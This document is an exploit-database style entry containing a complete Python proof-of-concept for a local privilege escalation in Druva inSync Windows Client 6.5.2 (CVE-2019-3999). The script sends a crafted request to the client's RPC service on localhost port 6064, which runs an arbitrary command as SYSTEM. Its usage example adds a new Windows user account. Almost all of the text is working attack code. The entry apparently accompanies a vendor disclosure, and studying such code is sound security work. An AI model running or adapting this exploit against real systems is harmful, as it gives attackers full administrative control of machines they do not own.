Druva inSync Windows Client 6.5.2 Privilege Escalation

`# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation  
# Date: 2020-04-28  
# Exploit Author: Chris Lyne  
# Vendor Homepage: druva.com  
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi  
# Version: 6.5.2  
# Tested on: Windows 10  
# CVE : CVE-2019-3999  
# See also: https://www.tenable.com/security/research/tra-2020-12  
  
import socket  
import struct  
import sys  
  
# Command injection in inSyncCPHwnet64 RPC service  
# Runs as nt authority\system. so we have a local privilege escalation  
  
if len(sys.argv) < 2:  
print "Usage: " + __file__ + " <quoted command to execute>"  
print "E.g. " + __file__ + " \"net user /add tenable\""  
sys.exit(0)  
  
ip = '127.0.0.1'  
port = 6064  
command_line = sys.argv[1]  
  
# command gets passed to CreateProcessW  
def make_wide(str):  
new_str = ''  
for c in str:  
new_str += c  
new_str += '\x00'  
return new_str  
  
hello = "inSync PHC RPCW[v0002]"  
func_num = "\x05\x00\x00\x00" # 05 is to run a command  
command_line = make_wide(command_line)  
command_length = struct.pack('<i', len(command_line))  
  
# send each request separately  
requests = [ hello, func_num, command_length, command_line ]  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((ip, port))  
  
i = 1  
for req in requests:  
print 'Sending request' + str(i)  
sock.send(req)  
i += 1  
  
sock.close()  
  
print "Done."  
`